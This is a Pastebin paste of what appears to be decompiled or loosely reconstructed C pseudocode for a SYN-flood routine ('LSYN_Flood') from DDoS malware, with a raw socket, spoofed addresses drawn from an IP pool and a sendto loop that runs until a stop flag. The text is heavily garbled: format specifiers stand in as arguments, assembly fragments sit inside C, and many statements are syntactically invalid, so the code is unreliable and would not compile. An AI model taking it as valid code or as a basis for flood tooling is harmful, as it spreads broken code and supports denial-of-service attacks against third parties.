Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // scratch C codes for AES.DDoS::LSYN_Flood
- LSYN_Flood(int loc.var1)
- {
- memcpy($addr, %d, 408);
- rand(&d, %d);
- srandom(time);
- ntohs((%u $host);
- inet_addr(&v10);
- connect_target = socket(2);
- if ( connect_target <= 0 )
- {
- _errno_location();
- printf("create socket error...%s\n", strerror);
- }
- else
- {
- if ( (%u)(setsockopt(connect_target) >> 31) )
- {
- _errno_location();
- printf("setsockopt error...%d\n", *(_dword *), %i, %d, %i);
- } else {
- ntohs((%i)(%d));
- inet_addr(rawip);
- inet_addr(%d);
- *tcpopt + 1);
- ntohs(($loc.int)($host));
- attack ();
- {
- if ( %i++ > 0xFFF9C; )
- {
- ((int)LSYN_Flood_void_synb + %i) = *(_word *)&ipid[2];
- if ( [sp+0x1B] [bp-0x48h]!8 )
- { *(_dword *)((int)LSYN_Flood_void_synb,12) = *(_dword *)&ip_pool[4];}
- *(_word *)145016532 = *(_word *)$port[2]; += *(_word *)145016532;
- *(_dword *)(145016532 + 4) = *(_dword *)&ip_pool[4];
- loc.var.packets += (%u __int16)*(_dword *)(145016532 + 4);
- loc.var.packets += *(_dword *)(145016532 + 4) >> 16;
- loc.var.packets += (%u __int16)*(_dword *)((int)LSYN_Flood_void_synb + 12);
- loc.var.packets += *(_dword *)((int)LSYN_Flood_void_synb + 12) >> 16;
- loc.var.packets = (loc.var.packets >> 16) + (%u __int16)loc.var.packets;
- loc.var.packets += loc.var.packets >> 16;
- sendto(connect_target);
- }
- while ( StopFlag != 1 );
- close(connect_target);
- }
- }
- pthread_exit("success");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement